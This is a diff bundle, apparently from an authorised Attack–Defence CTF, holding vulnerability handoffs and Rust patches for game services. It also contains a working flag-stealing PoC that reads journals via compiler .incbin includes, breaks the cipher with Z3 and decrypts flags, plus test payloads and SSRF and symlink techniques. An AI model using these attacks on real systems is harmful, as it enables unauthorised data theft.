|
||||||
|
"old read_at state was not retained")
|
||||||
|
details = api("GET", path + f"/filters/{state['revision']}", key=queue["read_key"])
|
||||||
|
check(details["source"] == SOURCE and details["active"], "old filter was not retained")
|
||||||
|
api("GET", path + "/messages?show_read=true", key="0" * 48, expected=403)
|
||||||
|
api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201)
|
||||||
|
check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1,
|
||||||
|
"old active filter rejected a normal new message")
|
||||||
|
public_compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"})
|
||||||
|
check(public_compiled["ok"] is True, "public filter compilation contract changed")
|
||||||
|
api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter",
|
||||||
|
{"source": SOURCE, "label": "missing queue"}, expected=404)
|
||||||
|
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
|
||||||
|
key=queue["read_key"])
|
||||||
|
check(compiled["ok"] is True, "compilation contract changed after restart")
|
||||||
|
|
||||||
|
paging = api("POST", "/api/queues", {"label": "pagination regression"}, expected=201)
|
||||||
|
paging_path = "/api/queues/" + paging["id"] + "/messages"
|
||||||
|
for index in range(130):
|
||||||
|
api("POST", paging_path, {"message": "eA==", "topic": "page"}, expected=201)
|
||||||
|
first = api("GET", paging_path, key=paging["read_key"])
|
||||||
|
check(len(first["messages"]) == 128 and first["has_more"], "first page boundary changed")
|
||||||
|
check(first["next_after"] == first["messages"][-1]["id"], "first page cursor changed")
|
||||||
|
second = api("GET", paging_path + "?after_id=" + str(first["next_after"]),
|
||||||
|
key=paging["read_key"])
|
||||||
|
check(len(second["messages"]) == 2 and not second["has_more"],
|
||||||
|
"unread messages beyond first page were lost")
|
||||||
|
check(second["messages"][0]["id"] > first["messages"][-1]["id"],
|
||||||
|
"page order changed")
|
||||||
|
check(api("GET", paging_path, key=paging["read_key"])["messages"] == [],
|
||||||
|
"paged read did not mark exactly the delivered messages")
|
||||||
|
check(len(api("GET", paging_path + "?show_read=true", key=paging["read_key"])["messages"]) == 128,
|
||||||
|
"history page changed")
|
||||||
|
api("GET", paging_path + "?after_id=-1", key=paging["read_key"], expected=400)
|
||||||
|
api("GET", paging_path + "?after_id=9223372036854775808", key=paging["read_key"], expected=400)
|
||||||
|
|
||||||
|
expiring = api("POST", "/api/queues", {"label": "expired cleanup"}, expected=201)
|
||||||
|
expiring_path = "/api/queues/" + expiring["id"]
|
||||||
|
api("POST", expiring_path + "/messages", {"message": "eA=="}, expected=201)
|
||||||
|
updated = inside("sqlite3", "/data/lighthouse.db",
|
||||||
|
"UPDATE messages SET expires_at=0 WHERE queue_id='" + expiring["id"] + "'")
|
||||||
|
check(updated.returncode == 0, "cannot prepare synthetic expired row")
|
||||||
|
api("POST", "/api/queues", {"label": "cleanup trigger"}, expected=201)
|
||||||
|
check(api("GET", expiring_path)["stored_count"] == 0,
|
||||||
|
"expired rows were not reclaimed by a public write")
|
||||||
|
|
||||||
|
capped = api("POST", "/api/queues", {"label": "bounded journal"}, expected=201)
|
||||||
|
capped_path = "/api/queues/" + capped["id"]
|
||||||
|
encoded = base64.b64encode(b"x" * 4096).decode()
|
||||||
|
for index in range(68):
|
||||||
|
api("POST", capped_path + "/messages", {"message": encoded}, expected=201)
|
||||||
|
journal_path = f"/var/log/lighthouse/{capped['created_at'][:10]}/{capped['id']}.log"
|
||||||
|
journal_size = inside("stat", "-c", "%s", journal_path)
|
||||||
|
check(journal_size.returncode == 0 and 0 < int(journal_size.stdout) <= 512 * 1024,
|
||||||
|
"journal exceeded the per-queue cap")
|
||||||
|
check(api("GET", capped_path)["stored_count"] == 68,
|
||||||
|
"journal cap dropped messages from SQLite")
|
||||||
|
|
||||||
|
old = inside("cat", OLD_JOURNAL)
|
||||||
|
check(old.returncode == 0 and old.stdout == OLD_CONTENT, "legacy journal bytes were altered")
|
||||||
|
diagnostic = api("POST", path + "/filter", {
|
||||||
|
"source": '#include "' + OLD_JOURNAL + '"\nint filter(int length) { return 1; }',
|
||||||
|
"label": "synthetic journal regression",
|
||||||
|
}, key=queue["read_key"] if args.action == "verify" else None, expected=422)["compiler"]
|
||||||
|
check((OLD_CONTENT.strip() in diagnostic) == (args.journal == "baseline"),
|
||||||
|
"unexpected disclosure of the synthetic journal through compiler diagnostics")
|
||||||
|
incbin = '__asm__(".incbin \\"' + OLD_JOURNAL + '\\",0,32");\nint filter(int length) { return 1; }'
|
||||||
|
compiled_bytes = api("POST", path + "/filter", {
|
||||||
|
"source": incbin, "label": "synthetic incbin regression",
|
||||||
|
}, key=queue["read_key"] if args.action == "verify" else None,
|
||||||
|
expected=422 if args.journal == "private" else 200)
|
||||||
|
check(compiled_bytes["ok"] == (args.journal == "baseline"),
|
||||||
|
"unexpected journal embedding result")
|
||||||
|
expected = "700" if args.journal == "private" else "755"
|
||||||
|
check(mode("/var/log/lighthouse") == expected, "unexpected journal root permissions")
|
||||||
|
for journal in (state["journal"], OLD_JOURNAL):
|
||||||
|
result = inside("test", "-r", journal, user="nobody")
|
||||||
|
check((result.returncode != 0) == (args.journal == "private"),
|
||||||
|
"unexpected unprivileged access to a synthetic journal")
|
||||||
|
if args.journal == "private":
|
||||||
|
check(mode(str(Path(state["journal"]).parent)) == "700", "new journal directory is not private")
|
||||||
|
check(mode(state["journal"]) == "600", "new journal file is not private")
|
||||||
|
print(f"PASS: {checks} checks ({args.action}, journal={args.journal}); no record values printed")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
# Orbital Navigation — handoff
|
||||||
|
|
||||||
|
Дата анализа: 2026-10-25.
|
||||||
|
|
||||||
|
## Подтверждённые уязвимости до патча
|
||||||
|
|
||||||
|
Сервис принимает JSON-RPC через `POST /rpc`, бинарные пакеты через `PUT /packages/{id}` и отдаёт внутренние сводки через `GET /internal/summaries/{id}`. Локально на исходной версии с двумя синтетическими пользователями воспроизведены следующие пути чтения чужих данных:
|
||||||
|
|
||||||
|
- `bind_source` проверял только существование канонизированного `source`, но не владельца корабля. Другой пользователь мог передать регистровый алиас идентификатора чужого корабля и затем получить его сообщения через привязанный источник.
|
||||||
|
- `edit_profile` позволял владельцу профиля заменить `ship_id` на чужой корабль. Уже созданный экспортный job сохранял ссылку на профиль, а `run_export` не перепроверял владение текущим кораблём, поэтому после подмены профиля возвращал чужие сообщения.
|
||||||
|
- Ключ `geometry_cache` состоял только из `geometry`, `map_version` и `options`. Если другой пользователь первым создавал полёт с той же публичной тройкой параметров, отчёт по полёту мог взять его cached flight и раскрыть чужой manifest.
|
||||||
|
- `delegate` разрешал дочернему grant запрашивать права, отсутствующие у родительского grant, и не проверял фактическое истечение срока. Публичный grant с `delegate` можно было повысить до `manifest.read`; `read_manifest` также принимал просроченный grant.
|
||||||
|
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. Прямой запрос с известным ключом также не ограничивался loopback peer.
|
||||||
|
- После `approve_package` содержимое пакета можно было заменить через повторный `PUT`, не сбрасывая approval. `generate_report` распаковывал уже заменённый TAR без повторной безопасной проверки и разрешал canonical target внутри общего `navigation`, поэтому symlink-entry мог прочитать файл навигации другого пользователя.
|
||||||
|
|
||||||
|
Ожидаемые источники флагов до исправления: сообщения корабля, manifest полёта, content summary и файлы `navigation/{flight_id}.txt`. Для воспроизведения нужны только публичные маршруты сервиса, обычные учётные записи и идентификаторы объектов; реальные флаги, игровые токены и чужие адреса здесь не используются.
|
||||||
|
|
||||||
|
## Затронутый код до патча
|
||||||
|
|
||||||
|
Файл `src/lib.rs`: `cache_key`, `Server::new`, RPC-ветки `bind_source`, `edit_profile`, `run_export`, `delegate`, `read_manifest`, `generate_report`, HTTP-обработка `PUT /packages/{id}` и `GET /internal/summaries/{id}`, а также `fetch_bulletin`.
|
||||||
|
|
||||||
|
## Исправление
|
||||||
|
|
||||||
|
- Проверка владельца добавлена при привязке источника, смене корабля профиля и выполнении export job.
|
||||||
|
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
|
||||||
|
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry.
|
||||||
|
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` запрещает любой адрес, который после DNS-разрешения является loopback, включая каждый redirect.
|
||||||
|
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
|
||||||
|
|
||||||
|
## Проверки
|
||||||
|
|
||||||
|
- Docker image успешно собран командой `docker compose -f compose.yml build`.
|
||||||
|
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
|
||||||
|
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
|
||||||
|
- `git diff --check` проходит.
|
||||||
|
|
||||||
|
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался и не отправлялся в Gitea.
|
||||||
@@ -7,7 +7,7 @@ use std::net::{TcpListener, TcpStream, ToSocketAddrs};
|
|||||||
use std::path::{Component, Path, PathBuf};
|
use std::path::{Component, Path, PathBuf};
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::{Arc, Mutex};
|
||||||
use std::thread;
|
use std::thread;
|
||||||
use std::time::Duration;
|
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||||
|
|
||||||
type Answer = Result<Value, String>;
|
type Answer = Result<Value, String>;
|
||||||
type Headers = HashMap<String, String>;
|
type Headers = HashMap<String, String>;
|
||||||
@@ -130,7 +130,17 @@ fn canonical(s: &str) -> String {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn cache_key(f: &Flight) -> String {
|
fn cache_key(f: &Flight) -> String {
|
||||||
format!("{}\0{}\0{}", f.geometry, f.map_version, f.options)
|
format!(
|
||||||
|
"{}\0{}\0{}\0{}",
|
||||||
|
f.owner, f.geometry, f.map_version, f.options
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn unix_time() -> u64 {
|
||||||
|
SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap_or_default()
|
||||||
|
.as_secs()
|
||||||
}
|
}
|
||||||
|
|
||||||
const STATE_FILE: &str = "state.json";
|
const STATE_FILE: &str = "state.json";
|
||||||
@@ -208,7 +218,22 @@ impl Server {
|
|||||||
|
|
||||||
fs::create_dir_all(root.join("work"))?;
|
fs::create_dir_all(root.join("work"))?;
|
||||||
|
|
||||||
let state = load_state(&root)?;
|
let mut state = load_state(&root)?;
|
||||||
|
let old_cache = std::mem::take(&mut state.geometry_cache);
|
||||||
|
for flight_id in old_cache.values() {
|
||||||
|
if let Some(flight) = state.flights.get(flight_id) {
|
||||||
|
state
|
||||||
|
.geometry_cache
|
||||||
|
.entry(cache_key(flight))
|
||||||
|
.or_insert_with(|| flight_id.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (flight_id, flight) in &state.flights {
|
||||||
|
state
|
||||||
|
.geometry_cache
|
||||||
|
.entry(cache_key(flight))
|
||||||
|
.or_insert_with(|| flight_id.clone());
|
||||||
|
}
|
||||||
cleanup_storage(&root, &state)?;
|
cleanup_storage(&root, &state)?;
|
||||||
|
|
||||||
Ok(Self {
|
Ok(Self {
|
||||||
@@ -287,9 +312,8 @@ impl Server {
|
|||||||
if s.sources.contains_key(&source) {
|
if s.sources.contains_key(&source) {
|
||||||
return Err("source exists".into());
|
return Err("source exists".into());
|
||||||
}
|
}
|
||||||
if !s.ships.contains_key(&canonical(&source)) {
|
let ship = canonical(&source);
|
||||||
return Err("unknown ship".into());
|
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||||
}
|
|
||||||
s.sources.insert(source, user);
|
s.sources.insert(source, user);
|
||||||
Ok(json!({"ok":true}))
|
Ok(json!({"ok":true}))
|
||||||
}
|
}
|
||||||
@@ -336,9 +360,7 @@ impl Server {
|
|||||||
let ship = owned(&v, "ship_id")?;
|
let ship = owned(&v, "ship_id")?;
|
||||||
let mut s = self.state.lock().unwrap();
|
let mut s = self.state.lock().unwrap();
|
||||||
|
|
||||||
if !s.ships.contains_key(&ship) {
|
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||||
return Err("unknown ship".into());
|
|
||||||
}
|
|
||||||
let p = s.profiles.get_mut(id).ok_or("unknown profile")?;
|
let p = s.profiles.get_mut(id).ok_or("unknown profile")?;
|
||||||
check_owner(&p.owner, &user)?;
|
check_owner(&p.owner, &user)?;
|
||||||
p.ship = ship;
|
p.ship = ship;
|
||||||
@@ -361,6 +383,7 @@ impl Server {
|
|||||||
.ok_or("unknown profile")?
|
.ok_or("unknown profile")?
|
||||||
.ship
|
.ship
|
||||||
.clone();
|
.clone();
|
||||||
|
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||||
|
|
||||||
let result = s.messages.get(&ship).cloned().unwrap_or_default();
|
let result = s.messages.get(&ship).cloned().unwrap_or_default();
|
||||||
|
|
||||||
@@ -482,7 +505,13 @@ impl Server {
|
|||||||
if p.subject != "public" && p.subject != user {
|
if p.subject != "public" && p.subject != user {
|
||||||
return Err("forbidden".into());
|
return Err("forbidden".into());
|
||||||
}
|
}
|
||||||
if !p.rights.iter().any(|x| x == "delegate") || expires > p.expires {
|
let now = unix_time();
|
||||||
|
if !p.rights.iter().any(|x| x == "delegate")
|
||||||
|
|| p.expires < now
|
||||||
|
|| expires < now
|
||||||
|
|| expires > p.expires
|
||||||
|
|| !rights.iter().all(|right| p.rights.contains(right))
|
||||||
|
{
|
||||||
return Err("invalid delegation".into());
|
return Err("invalid delegation".into());
|
||||||
}
|
}
|
||||||
let flight = p.flight.clone();
|
let flight = p.flight.clone();
|
||||||
@@ -514,6 +543,7 @@ impl Server {
|
|||||||
|
|
||||||
if !(g.flight == flight
|
if !(g.flight == flight
|
||||||
&& g.subject == user
|
&& g.subject == user
|
||||||
|
&& g.expires >= unix_time()
|
||||||
&& g.rights.iter().any(|x| x == "manifest.read"))
|
&& g.rights.iter().any(|x| x == "manifest.read"))
|
||||||
{
|
{
|
||||||
return Err("forbidden".into());
|
return Err("forbidden".into());
|
||||||
@@ -656,15 +686,14 @@ impl Server {
|
|||||||
fs::create_dir_all(&dir).map_err(|e| e.to_string())?;
|
fs::create_dir_all(&dir).map_err(|e| e.to_string())?;
|
||||||
|
|
||||||
let report = (|| {
|
let report = (|| {
|
||||||
|
validate_safe_tar(&bytes)?;
|
||||||
unpack_tar(&bytes, &dir)?;
|
unpack_tar(&bytes, &dir)?;
|
||||||
|
|
||||||
let target = fs::canonicalize(dir.join(attachment))
|
let target = fs::canonicalize(dir.join(attachment))
|
||||||
.map_err(|e| format!("resolve report attachment: {e}"))?;
|
.map_err(|e| format!("resolve report attachment: {e}"))?;
|
||||||
let work_root = fs::canonicalize(&dir)
|
let work_root = fs::canonicalize(&dir)
|
||||||
.map_err(|e| format!("resolve report workspace: {e}"))?;
|
.map_err(|e| format!("resolve report workspace: {e}"))?;
|
||||||
let navigation_root = fs::canonicalize(self.root.join("navigation"))
|
if !target.starts_with(&work_root) {
|
||||||
.map_err(|e| format!("resolve navigation workspace: {e}"))?;
|
|
||||||
if !target.starts_with(&work_root) && !target.starts_with(&navigation_root) {
|
|
||||||
return Err("report attachment resolves outside allowed storage".into());
|
return Err("report attachment resolves outside allowed storage".into());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -694,6 +723,7 @@ impl Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn handle(&self, mut stream: TcpStream) -> std::io::Result<()> {
|
fn handle(&self, mut stream: TcpStream) -> std::io::Result<()> {
|
||||||
|
let peer = stream.peer_addr()?;
|
||||||
stream.set_read_timeout(Some(Duration::from_secs(5)))?;
|
stream.set_read_timeout(Some(Duration::from_secs(5)))?;
|
||||||
let (method, path, headers, body) = read_request(&mut stream)?;
|
let (method, path, headers, body) = read_request(&mut stream)?;
|
||||||
let result: Result<(u16, Vec<u8>), String> = if method == "POST" && path == "/rpc" {
|
let result: Result<(u16, Vec<u8>), String> = if method == "POST" && path == "/rpc" {
|
||||||
@@ -727,6 +757,7 @@ impl Server {
|
|||||||
let p = s.packages.get_mut(id).ok_or("unknown package")?;
|
let p = s.packages.get_mut(id).ok_or("unknown package")?;
|
||||||
check_owner(&p.owner, &u)?;
|
check_owner(&p.owner, &u)?;
|
||||||
p.bytes = body;
|
p.bytes = body;
|
||||||
|
p.approved = false;
|
||||||
Ok(())
|
Ok(())
|
||||||
})
|
})
|
||||||
};
|
};
|
||||||
@@ -747,7 +778,9 @@ impl Server {
|
|||||||
} else if method == "GET" && path.starts_with("/internal/summaries/") {
|
} else if method == "GET" && path.starts_with("/internal/summaries/") {
|
||||||
let id = path.trim_start_matches("/internal/summaries/");
|
let id = path.trim_start_matches("/internal/summaries/");
|
||||||
|
|
||||||
if headers.get("x-importer-key").map(String::as_str) != Some(&self.importer_key) {
|
if !peer.ip().is_loopback()
|
||||||
|
|| headers.get("x-importer-key").map(String::as_str) != Some(&self.importer_key)
|
||||||
|
{
|
||||||
Ok((403, b"forbidden".to_vec()))
|
Ok((403, b"forbidden".to_vec()))
|
||||||
} else {
|
} else {
|
||||||
let s = self.state.lock().unwrap();
|
let s = self.state.lock().unwrap();
|
||||||
@@ -786,6 +819,9 @@ impl Server {
|
|||||||
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
||||||
.next()
|
.next()
|
||||||
.ok_or("no address")?;
|
.ok_or("no address")?;
|
||||||
|
if addr.ip().is_loopback() {
|
||||||
|
return Err("internal source forbidden".into());
|
||||||
|
}
|
||||||
|
|
||||||
let mut stream = TcpStream::connect_timeout(&addr, Duration::from_secs(2))
|
let mut stream = TcpStream::connect_timeout(&addr, Duration::from_secs(2))
|
||||||
.map_err(|e| format!("connect {addr}: {e}"))?;
|
.map_err(|e| format!("connect {addr}: {e}"))?;
|
||||||
|
|||||||
@@ -0,0 +1,67 @@
|
|||||||
|
# Lighthouse flag hunt — baseline 4f70df55
|
||||||
|
|
||||||
|
Локальный PoC для разрешённого Attack–Defence сервиса. На входе один адрес
|
||||||
|
цели и UUID очереди из актуального attack_data. Скрипт не получает read_key
|
||||||
|
и не обращается к Skipper/Farm. В stdout пишет только строки официального
|
||||||
|
формата [A-Z0-9]{31}=; диагностику и метрики пишет в stderr.
|
||||||
|
|
||||||
|
## Механизм
|
||||||
|
|
||||||
|
1. Публичный POST сообщения шифрует 48 выбранных 8-байтовых блоков под ключом
|
||||||
|
указанной очереди. Блоки упакованы в одно base64-сообщение.
|
||||||
|
2. Публичный компилятор C-фильтров на отдельной собственной очереди читает
|
||||||
|
журнал цели через .incbin с ограниченными смещением и размером. Ответ
|
||||||
|
listing содержит исходные hex-байты журнала. Собственная очередь исключает
|
||||||
|
удаление истории фильтров жертвы при многократной компиляции.
|
||||||
|
3. Из 48 plaintext/ciphertext пар Z3 восстанавливает эквивалентные шесть
|
||||||
|
32-битных ключей блочного шифра. Они расшифровывают последние записи
|
||||||
|
журнала; исходный read_key не восстанавливается и не нужен.
|
||||||
|
|
||||||
|
Для файла журнала используется дата создания очереди из публичного GET
|
||||||
|
/api/queues/<UUID>. Чтение ограничено последними 8192 байтами до собственной
|
||||||
|
записи. Скрипт прекращает работу после 30 секунд. HTTP-запросы идут только
|
||||||
|
на переданный адрес; системные proxy отключены.
|
||||||
|
|
||||||
|
## Запуск и интеграция
|
||||||
|
|
||||||
|
# z3-solver установить на инструментальном хосте ДО игры из wheel cache
|
||||||
|
python3 -m pip install --no-index --find-links /path/to/preloaded-wheels -r requirements.txt
|
||||||
|
python3 probe.py 127.0.0.1:8085 UUID_ИЗ_ATTACK_DATA
|
||||||
|
|
||||||
|
UUID можно передать через LIGHTHOUSE_QUEUE_ID, оставив один аргумент адреса.
|
||||||
|
UUID должен прийти из свежих подсказок Skipper, не из публичного перебора.
|
||||||
|
Формат можно изменить через LIGHTHOUSE_FLAG_REGEX. Текущий шаблон из
|
||||||
|
регламента — [A-Z0-9]{31}=.
|
||||||
|
|
||||||
|
Neo-интеграция ещё не подтверждена: требуется адаптер attack_data для UUID
|
||||||
|
на конкретной цели, Linux x86_64 wheel z3-solver==5.3.1.0 заранее в worker
|
||||||
|
и neo test на одной разрешённой цели. Локальные тесты на macOS и Docker не
|
||||||
|
доказывают совместимость worker, checker=OK или accepted.
|
||||||
|
|
||||||
|
## Синтетические проверки
|
||||||
|
|
||||||
|
- Docker image baseline goctf-lighthouse-baseline:4f70df55, отдельный
|
||||||
|
одноразовый контейнер, только loopback. Live vulnbox не использовался.
|
||||||
|
- Свежая очередь, заранее записанный неизвестный скрипту синтетический флаг:
|
||||||
|
полный проход через публичные API выдал его точно, без read_key.
|
||||||
|
Независимый агент повторил на своём контейнере: 28 HTTP, 2.074 с, также
|
||||||
|
расшифровал ранее не использованное в решении случайное сообщение.
|
||||||
|
- При 20 коротких старых записях (журнал около 2.3 КБ): 43 HTTP,
|
||||||
|
40 compile, 1.725 с всего, из них 1.470 с HTTP и 0.246 с solver.
|
||||||
|
При 65 записях (около 7.0 КБ): 45 HTTP, 42 compile, 1.860 с всего,
|
||||||
|
из них 1.557 с HTTP и 0.292 с solver. Оба прохода выдали ровно один
|
||||||
|
синтетический флаг официального формата. В другом локальном прогоне
|
||||||
|
эти же размеры заняли 3.832 и 6.728 с; время зависит от ресурса хоста.
|
||||||
|
|
||||||
|
## Пределы и безопасное копирование
|
||||||
|
|
||||||
|
Работает на исходной ревизии с читаемым для nobody журналом. Кандидат патча
|
||||||
|
0700/0600 должен закрыть этот путь; после патча эксплуатация не проверялась.
|
||||||
|
При слишком большом журнале, конкурирующей записи или отсутствии флага в
|
||||||
|
последних 8192 байтах скрипт может завершиться без флага. Он не гарантирует
|
||||||
|
зачёт и не сдаёт флаги.
|
||||||
|
|
||||||
|
Для переноса копировать только probe.py, requirements.txt, README.md из
|
||||||
|
этой папки. Не переносить __pycache__, локальное Python-окружение,
|
||||||
|
синтетические state-файлы, ключи, флаги или результаты тестов. Каталог
|
||||||
|
не является частью сервисного исходника и не должен попадать на vulnbox.
|
||||||
Executable
+315
@@ -0,0 +1,315 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Lighthouse baseline local PoC. One explicit target and one queue hint."""
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import urllib.error
|
||||||
|
import urllib.request
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
try:
|
||||||
|
import z3
|
||||||
|
except ImportError:
|
||||||
|
print("z3-solver is required in the runner", file=sys.stderr)
|
||||||
|
raise SystemExit(2)
|
||||||
|
|
||||||
|
MARKER = bytes.fromhex("4101410241034104")
|
||||||
|
END_MARKER = bytes.fromhex("4105410641074108")
|
||||||
|
UUID = re.compile(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$")
|
||||||
|
HEX_LINES = re.compile(r"^ *[0-9a-f]+: ((?:[0-9a-f]{2} )+) *\t", re.M)
|
||||||
|
LINE = re.compile(rb"topic=([a-z0-9_.-]+) ciphertext=([0-9a-f]+)")
|
||||||
|
HTTP_CALLS = 0
|
||||||
|
COMPILE_CALLS = 0
|
||||||
|
HTTP_SECONDS = 0.0
|
||||||
|
SOLVE_SECONDS = 0.0
|
||||||
|
|
||||||
|
|
||||||
|
class Failure(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def symbolic_f(x):
|
||||||
|
a, b, c, d = [z3.Extract(h, l, x) for h, l in ((31, 24), (23, 16), (15, 8), (7, 0))]
|
||||||
|
def g(u, v, carry):
|
||||||
|
return z3.RotateLeft(u + v + z3.BitVecVal(carry, 8), 2)
|
||||||
|
y1 = g(a ^ b, c ^ d, 1)
|
||||||
|
y2 = g(c ^ d, y1, 0)
|
||||||
|
return z3.Concat(g(a, y1, 0), y1, y2, g(d, y2, 1))
|
||||||
|
|
||||||
|
|
||||||
|
def f(x):
|
||||||
|
a, b, c, d = (x >> 24) & 255, (x >> 16) & 255, (x >> 8) & 255, x & 255
|
||||||
|
def g(u, v, carry):
|
||||||
|
value = (u + v + carry) & 255
|
||||||
|
return ((value << 2) | (value >> 6)) & 255
|
||||||
|
y1 = g(a ^ b, c ^ d, 1)
|
||||||
|
y2 = g(c ^ d, y1, 0)
|
||||||
|
return g(a, y1, 0) << 24 | y1 << 16 | y2 << 8 | g(d, y2, 1)
|
||||||
|
|
||||||
|
|
||||||
|
def solve_effective(pairs):
|
||||||
|
"""Recover equivalent six 32-bit block keys; eight xor groups, six pairs each."""
|
||||||
|
bv = lambda n: z3.BitVecVal(n, 32)
|
||||||
|
def checked(solver, variables):
|
||||||
|
solver.set(timeout=4000)
|
||||||
|
if solver.check() != z3.sat:
|
||||||
|
raise Failure("effective-key solver did not finish")
|
||||||
|
model = solver.model()
|
||||||
|
return [model.eval(v).as_long() for v in variables]
|
||||||
|
|
||||||
|
k3, kx = z3.BitVec("k3", 32), z3.BitVec("kx", 32)
|
||||||
|
dg = [z3.BitVec("d" + str(i), 32) for i in range(8)]
|
||||||
|
stage = z3.SolverFor("QF_BV")
|
||||||
|
for group in range(8):
|
||||||
|
for left, right, top, bottom in pairs[group]:
|
||||||
|
stage.add(bv(top) ^ symbolic_f(bv(top ^ bottom) ^ k3) ==
|
||||||
|
bv(left ^ right) ^ kx ^ symbolic_f(bv(left) ^ dg[group]))
|
||||||
|
k3v, kxv, *dgv = checked(stage, [k3, kx, *dg])
|
||||||
|
|
||||||
|
k2, k1 = z3.BitVec("k2", 32), z3.BitVec("k1", 32)
|
||||||
|
stage = z3.SolverFor("QF_BV")
|
||||||
|
for group in range(8):
|
||||||
|
for left, _right, top, bottom in pairs[group]:
|
||||||
|
y2 = top ^ bottom
|
||||||
|
y1 = bv(top) ^ symbolic_f(bv(y2 ^ k3v))
|
||||||
|
stage.add(bv(y2 ^ left) == bv(dgv[group]) ^ k1 ^ symbolic_f(y1 ^ k2))
|
||||||
|
k2v, k1v = checked(stage, [k2, k1])
|
||||||
|
|
||||||
|
cv = [d ^ k1v for d in dgv]
|
||||||
|
xv = [group[0][0] ^ group[0][1] ^ kxv for group in pairs]
|
||||||
|
k0 = z3.BitVec("k0", 32)
|
||||||
|
stage = z3.SolverFor("QF_BV")
|
||||||
|
for group in range(1, 8):
|
||||||
|
stage.add(bv(cv[0] ^ cv[group]) ==
|
||||||
|
symbolic_f(bv(xv[0]) ^ k0) ^ symbolic_f(bv(xv[group]) ^ k0))
|
||||||
|
(k0v,) = checked(stage, [k0])
|
||||||
|
k4v = cv[0] ^ f(xv[0] ^ k0v)
|
||||||
|
keys = [k0v, k1v, k2v, k3v, k4v, k4v ^ kxv]
|
||||||
|
for group in pairs:
|
||||||
|
for left, right, top, bottom in group:
|
||||||
|
x = left ^ keys[4] ^ right ^ keys[5]
|
||||||
|
y = (left ^ keys[4]) ^ f(x ^ keys[0])
|
||||||
|
for rnd in (1, 2):
|
||||||
|
x, y = y, x ^ f(y ^ keys[rnd])
|
||||||
|
last = x ^ f(y ^ keys[3])
|
||||||
|
if last != top or (last ^ y) != bottom:
|
||||||
|
raise Failure("recovered keys fail known-pair validation")
|
||||||
|
return keys
|
||||||
|
|
||||||
|
|
||||||
|
def decrypt(cipher_hex, keys):
|
||||||
|
raw = bytes.fromhex(cipher_hex.decode("ascii"))
|
||||||
|
if not raw or len(raw) % 8:
|
||||||
|
return b""
|
||||||
|
out = bytearray()
|
||||||
|
for i in range(0, len(raw), 8):
|
||||||
|
value = int.from_bytes(raw[i:i + 8], "big")
|
||||||
|
x = value >> 32
|
||||||
|
y = (value & 0xffffffff) ^ x
|
||||||
|
for rnd in (3, 2, 1):
|
||||||
|
x, y = y, x ^ f(y ^ keys[rnd])
|
||||||
|
first = x ^ f(y ^ keys[0])
|
||||||
|
out.extend((((first ^ keys[4]) << 32) | (first ^ y ^ keys[5])).to_bytes(8, "big"))
|
||||||
|
padding = out[-1]
|
||||||
|
if not 1 <= padding <= 8 or out[-padding:] != bytes([padding]) * padding:
|
||||||
|
return b""
|
||||||
|
return bytes(out[:-padding])
|
||||||
|
|
||||||
|
|
||||||
|
class Client:
|
||||||
|
def __init__(self, url, deadline):
|
||||||
|
self.url = url
|
||||||
|
self.deadline = deadline
|
||||||
|
self.compiler_queue = None
|
||||||
|
self.opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||||
|
|
||||||
|
def api(self, path, body=None):
|
||||||
|
global HTTP_CALLS, HTTP_SECONDS
|
||||||
|
left = self.deadline - time.monotonic()
|
||||||
|
if left <= 0:
|
||||||
|
raise Failure("time budget exceeded")
|
||||||
|
data = json.dumps(body).encode() if body is not None else None
|
||||||
|
request = urllib.request.Request(
|
||||||
|
self.url + path, data=data, headers={"Content-Type": "application/json"})
|
||||||
|
started = time.monotonic()
|
||||||
|
try:
